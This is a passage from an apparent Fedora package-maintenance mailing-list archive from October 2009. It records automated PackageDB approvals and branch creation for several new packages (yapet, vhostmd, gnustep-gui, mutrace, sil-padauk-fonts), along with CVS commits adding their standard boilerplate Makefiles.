 - Remove work-around for brasero bug
 



From pkgdb at fedoraproject.org  Tue Oct 13 16:22:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:22:34 +0000
Subject: [pkgdb] yapet was added for cassmodiah
Message-ID: <20091013162234.6EF9E10F88B@bastion2.fedora.phx.redhat.com>

kevin has added Package yapet with summary Curses based password encryption tool
kevin has approved Package yapet
kevin has added a Fedora devel branch for yapet with an owner of cassmodiah
kevin has approved yapet in Fedora devel
kevin has approved Package yapet
kevin has set commit to Approved for 107427 on yapet (Fedora devel)
kevin has set checkout to Approved for 107427 on yapet (Fedora devel)
kevin has set build to Approved for 107427 on yapet (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/yapet



From pkgdb at fedoraproject.org  Tue Oct 13 16:22:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:22:36 +0000
Subject: [pkgdb] yapet summary updated by kevin
Message-ID: <20091013162236.C775310F8A4@bastion2.fedora.phx.redhat.com>

kevin set package yapet summary to Curses based password encryption tool

To make changes to this package see:
  /pkgdb/packages/name/yapet



From pkgdb at fedoraproject.org  Tue Oct 13 16:22:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:22:36 +0000
Subject: [pkgdb] yapet (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013162236.D166610F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for yapet
kevin has set commit to Approved for 107427 on yapet (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on yapet (Fedora EPEL 5)
kevin has set build to Approved for 107427 on yapet (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/yapet



From pkgdb at fedoraproject.org  Tue Oct 13 16:22:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:22:36 +0000
Subject: [pkgdb] yapet (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013162236.DA1D310F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for yapet
kevin has set commit to Approved for 107427 on yapet (Fedora 11)
kevin has set checkout to Approved for 107427 on yapet (Fedora 11)
kevin has set build to Approved for 107427 on yapet (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/yapet



From pkgdb at fedoraproject.org  Tue Oct 13 16:22:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:22:36 +0000
Subject: [pkgdb] yapet (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013162236.E4ED710F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for yapet
kevin has set commit to Approved for 107427 on yapet (Fedora 10)
kevin has set checkout to Approved for 107427 on yapet (Fedora 10)
kevin has set build to Approved for 107427 on yapet (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/yapet



From pkgdb at fedoraproject.org  Tue Oct 13 16:22:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:22:36 +0000
Subject: [pkgdb] yapet (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013162236.EEE9810F8B8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for yapet
kevin has set commit to Approved for 107427 on yapet (Fedora 12)
kevin has set checkout to Approved for 107427 on yapet (Fedora 12)
kevin has set build to Approved for 107427 on yapet (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/yapet



From pkgdb at fedoraproject.org  Tue Oct 13 16:22:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:22:36 +0000
Subject: [pkgdb] yapet (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013162237.037B610F8BA@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for yapet
kevin has set commit to Approved for 107427 on yapet (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on yapet (Fedora EPEL 4)
kevin has set build to Approved for 107427 on yapet (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/yapet



From kevin at fedoraproject.org  Tue Oct 13 16:22:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:22:47 +0000 (UTC)
Subject: rpms/yapet - New directory
Message-ID: <20091013162247.3CC3811C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/yapet
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq19469/rpms/yapet

Log Message:
Directory /cvs/pkgs/rpms/yapet added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:22:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:22:47 +0000 (UTC)
Subject: rpms/yapet/devel - New directory
Message-ID: <20091013162247.5FF0E11C00EB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/yapet/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq19469/rpms/yapet/devel

Log Message:
Directory /cvs/pkgs/rpms/yapet/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:22:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:22:54 +0000 (UTC)
Subject: rpms/yapet Makefile,NONE,1.1
Message-ID: <20091013162254.9384311C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/yapet
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq19469/rpms/yapet

Added Files:
	Makefile 
Log Message:
Setup of module yapet


--- NEW FILE Makefile ---
# Top level Makefile for module yapet
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:22:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:22:55 +0000 (UTC)
Subject: rpms/yapet/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091013162255.2780811C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/yapet/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq19469/rpms/yapet/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module yapet


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: yapet
# $Id: Makefile,v 1.1 2009/10/13 16:22:54 kevin Exp $
NAME := yapet
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:23:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:23:45 +0000
Subject: [pkgdb] vhostmd was added for rjones
Message-ID: <20091013162345.6693F10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package vhostmd with summary Virtualization host metrics daemon
kevin has approved Package vhostmd
kevin has added a Fedora devel branch for vhostmd with an owner of rjones
kevin has approved vhostmd in Fedora devel
kevin has approved Package vhostmd
kevin has set commit to Approved for 107427 on vhostmd (Fedora devel)
kevin has set checkout to Approved for 107427 on vhostmd (Fedora devel)
kevin has set build to Approved for 107427 on vhostmd (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vhostmd



From pkgdb at fedoraproject.org  Tue Oct 13 16:23:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:23:47 +0000
Subject: [pkgdb] vhostmd summary updated by kevin
Message-ID: <20091013162347.72FB910F88B@bastion2.fedora.phx.redhat.com>

kevin set package vhostmd summary to Virtualization host metrics daemon

To make changes to this package see:
  /pkgdb/packages/name/vhostmd



From pkgdb at fedoraproject.org  Tue Oct 13 16:23:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:23:47 +0000
Subject: [pkgdb] vhostmd (Fedora EPEL, 5) updated by kevin
Message-ID: <20091013162347.8636810F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for vhostmd
kevin has set commit to Approved for 107427 on vhostmd (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on vhostmd (Fedora EPEL 5)
kevin has set build to Approved for 107427 on vhostmd (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/vhostmd



From pkgdb at fedoraproject.org  Tue Oct 13 16:23:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:23:47 +0000
Subject: [pkgdb] vhostmd (Fedora EPEL, 5) updated by kevin
Message-ID: <20091013162347.9CEF010F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for vhostmd
kevin has set commit to Approved for 107427 on vhostmd (Fedora 12)
kevin has set checkout to Approved for 107427 on vhostmd (Fedora 12)
kevin has set build to Approved for 107427 on vhostmd (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/vhostmd



From kevin at fedoraproject.org  Tue Oct 13 16:23:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:23:54 +0000 (UTC)
Subject: rpms/vhostmd - New directory
Message-ID: <20091013162354.1638811C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vhostmd
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsm19981/rpms/vhostmd

Log Message:
Directory /cvs/pkgs/rpms/vhostmd added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:23:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:23:54 +0000 (UTC)
Subject: rpms/vhostmd/devel - New directory
Message-ID: <20091013162354.37BB211C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vhostmd/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsm19981/rpms/vhostmd/devel

Log Message:
Directory /cvs/pkgs/rpms/vhostmd/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:24:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:24:01 +0000 (UTC)
Subject: rpms/vhostmd Makefile,NONE,1.1
Message-ID: <20091013162401.05FB211C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vhostmd
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsm19981/rpms/vhostmd

Added Files:
	Makefile 
Log Message:
Setup of module vhostmd


--- NEW FILE Makefile ---
# Top level Makefile for module vhostmd
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:24:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:24:01 +0000 (UTC)
Subject: rpms/vhostmd/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091013162401.98F8C11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/vhostmd/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsm19981/rpms/vhostmd/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module vhostmd


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: vhostmd
# $Id: Makefile,v 1.1 2009/10/13 16:24:01 kevin Exp $
NAME := vhostmd
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:24:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:24:38 +0000
Subject: [pkgdb] gnustep-gui was added for s4504kr
Message-ID: <20091013162438.D985F10F8A4@bastion2.fedora.phx.redhat.com>

kevin has added Package gnustep-gui with summary The GNUstep gui library
kevin has approved Package gnustep-gui
kevin has added a Fedora devel branch for gnustep-gui with an owner of s4504kr
kevin has approved gnustep-gui in Fedora devel
kevin has approved Package gnustep-gui
kevin has set commit to Approved for 107427 on gnustep-gui (Fedora devel)
kevin has set checkout to Approved for 107427 on gnustep-gui (Fedora devel)
kevin has set build to Approved for 107427 on gnustep-gui (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnustep-gui



From pkgdb at fedoraproject.org  Tue Oct 13 16:24:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:24:40 +0000
Subject: [pkgdb] gnustep-gui summary updated by kevin
Message-ID: <20091013162440.590CD10F8AC@bastion2.fedora.phx.redhat.com>

kevin set package gnustep-gui summary to The GNUstep gui library

To make changes to this package see:
  /pkgdb/packages/name/gnustep-gui



From pkgdb at fedoraproject.org  Tue Oct 13 16:24:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:24:40 +0000
Subject: [pkgdb] gnustep-gui (Fedora, 10) updated by kevin
Message-ID: <20091013162440.5C07A10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for gnustep-gui
kevin has set commit to Approved for 107427 on gnustep-gui (Fedora 10)
kevin has set checkout to Approved for 107427 on gnustep-gui (Fedora 10)
kevin has set build to Approved for 107427 on gnustep-gui (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/gnustep-gui



From pkgdb at fedoraproject.org  Tue Oct 13 16:24:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:24:40 +0000
Subject: [pkgdb] gnustep-gui (Fedora, 10) updated by kevin
Message-ID: <20091013162440.6768F10F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gnustep-gui
kevin has set commit to Approved for 107427 on gnustep-gui (Fedora 11)
kevin has set checkout to Approved for 107427 on gnustep-gui (Fedora 11)
kevin has set build to Approved for 107427 on gnustep-gui (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gnustep-gui



From pkgdb at fedoraproject.org  Tue Oct 13 16:24:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:24:40 +0000
Subject: [pkgdb] gnustep-gui (Fedora, 10) updated by kevin
Message-ID: <20091013162440.80E5510F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gnustep-gui
kevin has set commit to Approved for 107427 on gnustep-gui (Fedora 12)
kevin has set checkout to Approved for 107427 on gnustep-gui (Fedora 12)
kevin has set build to Approved for 107427 on gnustep-gui (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gnustep-gui



From kevin at fedoraproject.org  Tue Oct 13 16:24:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:24:47 +0000 (UTC)
Subject: rpms/gnustep-gui - New directory
Message-ID: <20091013162447.1E00011C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gnustep-gui
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ20268/rpms/gnustep-gui

Log Message:
Directory /cvs/pkgs/rpms/gnustep-gui added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:24:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:24:47 +0000 (UTC)
Subject: rpms/gnustep-gui/devel - New directory
Message-ID: <20091013162447.468BD11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gnustep-gui/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ20268/rpms/gnustep-gui/devel

Log Message:
Directory /cvs/pkgs/rpms/gnustep-gui/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:24:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:24:54 +0000 (UTC)
Subject: rpms/gnustep-gui Makefile,NONE,1.1
Message-ID: <20091013162454.0FB6A11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gnustep-gui
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ20268/rpms/gnustep-gui

Added Files:
	Makefile 
Log Message:
Setup of module gnustep-gui


--- NEW FILE Makefile ---
# Top level Makefile for module gnustep-gui
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:24:54 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:24:54 +0000 (UTC)
Subject: rpms/gnustep-gui/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091013162454.4ACA411C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gnustep-gui/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ20268/rpms/gnustep-gui/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gnustep-gui


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gnustep-gui
# $Id: Makefile,v 1.1 2009/10/13 16:24:54 kevin Exp $
NAME := gnustep-gui
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:25:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:25:26 +0000
Subject: [pkgdb] mutrace summary updated by kevin
Message-ID: <20091013162526.4B98310F88B@bastion2.fedora.phx.redhat.com>

kevin set package mutrace summary to Mutex Tracer

To make changes to this package see:
  /pkgdb/packages/name/mutrace



From pkgdb at fedoraproject.org  Tue Oct 13 16:25:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:25:25 +0000
Subject: [pkgdb] mutrace was added for lennart
Message-ID: <20091013162525.0F3D510F875@bastion2.fedora.phx.redhat.com>

kevin has added Package mutrace with summary Mutex Tracer
kevin has approved Package mutrace
kevin has added a Fedora devel branch for mutrace with an owner of lennart
kevin has approved mutrace in Fedora devel
kevin has approved Package mutrace
kevin has set commit to Approved for 107427 on mutrace (Fedora devel)
kevin has set checkout to Approved for 107427 on mutrace (Fedora devel)
kevin has set build to Approved for 107427 on mutrace (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mutrace



From pkgdb at fedoraproject.org  Tue Oct 13 16:25:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:25:26 +0000
Subject: [pkgdb] mutrace (Fedora, 12) updated by kevin
Message-ID: <20091013162526.514CB10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for mutrace
kevin has set commit to Approved for 107427 on mutrace (Fedora 12)
kevin has set checkout to Approved for 107427 on mutrace (Fedora 12)
kevin has set build to Approved for 107427 on mutrace (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mutrace



From kevin at fedoraproject.org  Tue Oct 13 16:25:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:25:34 +0000 (UTC)
Subject: rpms/mutrace - New directory
Message-ID: <20091013162534.2324311C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mutrace
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn20576/rpms/mutrace

Log Message:
Directory /cvs/pkgs/rpms/mutrace added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:25:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:25:34 +0000 (UTC)
Subject: rpms/mutrace/devel - New directory
Message-ID: <20091013162534.4F98111C00EB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mutrace/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn20576/rpms/mutrace/devel

Log Message:
Directory /cvs/pkgs/rpms/mutrace/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:25:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:25:41 +0000 (UTC)
Subject: rpms/mutrace/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091013162541.7A29211C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mutrace/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn20576/rpms/mutrace/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module mutrace


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: mutrace
# $Id: Makefile,v 1.1 2009/10/13 16:25:41 kevin Exp $
NAME := mutrace
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Tue Oct 13 16:25:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:25:41 +0000 (UTC)
Subject: rpms/mutrace Makefile,NONE,1.1
Message-ID: <20091013162541.32FE611C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mutrace
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn20576/rpms/mutrace

Added Files:
	Makefile 
Log Message:
Setup of module mutrace


--- NEW FILE Makefile ---
# Top level Makefile for module mutrace
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Tue Oct 13 16:26:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:26:12 +0000
Subject: [pkgdb] sil-padauk-fonts was added for mintojoseph
Message-ID: <20091013162612.D6F6610F875@bastion2.fedora.phx.redhat.com>

kevin has added Package sil-padauk-fonts with summary Padauk font for Burmese and the Myanmar script
kevin has approved Package sil-padauk-fonts
kevin has added a Fedora devel branch for sil-padauk-fonts with an owner of mintojoseph
kevin has approved sil-padauk-fonts in Fedora devel
kevin has approved Package sil-padauk-fonts
kevin has set commit to Approved for 107427 on sil-padauk-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on sil-padauk-fonts (Fedora devel)
kevin has set build to Approved for 107427 on sil-padauk-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sil-padauk-fonts



From pkgdb at fedoraproject.org  Tue Oct 13 16:26:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:26:14 +0000
Subject: [pkgdb] sil-padauk-fonts summary updated by kevin
Message-ID: <20091013162614.252D110F88B@bastion2.fedora.phx.redhat.com>

kevin set package sil-padauk-fonts summary to Padauk font for Burmese and the Myanmar script

To make changes to this package see:
  /pkgdb/packages/name/sil-padauk-fonts



From pkgdb at fedoraproject.org  Tue Oct 13 16:26:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:26:14 +0000
Subject: [pkgdb] sil-padauk-fonts (Fedora, 11) updated by kevin
Message-ID: <20091013162614.2A1CA10F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sil-padauk-fonts
kevin has set commit to Approved for 107427 on sil-padauk-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on sil-padauk-fonts (Fedora 11)
kevin has set build to Approved for 107427 on sil-padauk-fonts (Fedora 11)
kevin approved watchbugzilla on sil-padauk-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on sil-padauk-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-padauk-fonts



From pkgdb at fedoraproject.org  Tue Oct 13 16:26:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:26:14 +0000
Subject: [pkgdb] sil-padauk-fonts (Fedora, 11) updated by kevin
Message-ID: <20091013162614.3363C10F8AB@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on sil-padauk-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on sil-padauk-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-padauk-fonts



From pkgdb at fedoraproject.org  Tue Oct 13 16:26:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:26:14 +0000
Subject: [pkgdb] sil-padauk-fonts (Fedora, 11) updated by kevin
Message-ID: <20091013162614.88EF910F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sil-padauk-fonts
kevin has set commit to Approved for 107427 on sil-padauk-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on sil-padauk-fonts (Fedora 12)
kevin has set build to Approved for 107427 on sil-padauk-fonts (Fedora 12)
kevin approved watchbugzilla on sil-padauk-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on sil-padauk-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/sil-padauk-fonts



From kevin at fedoraproject.org  Tue Oct 13 16:26:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:26:21 +0000 (UTC)
Subject: rpms/sil-padauk-fonts - New directory
Message-ID: <20091013162621.1543E11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-padauk-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsu21495/rpms/sil-padauk-fonts

Log Message:
Directory /cvs/pkgs/rpms/sil-padauk-fonts added to the repository




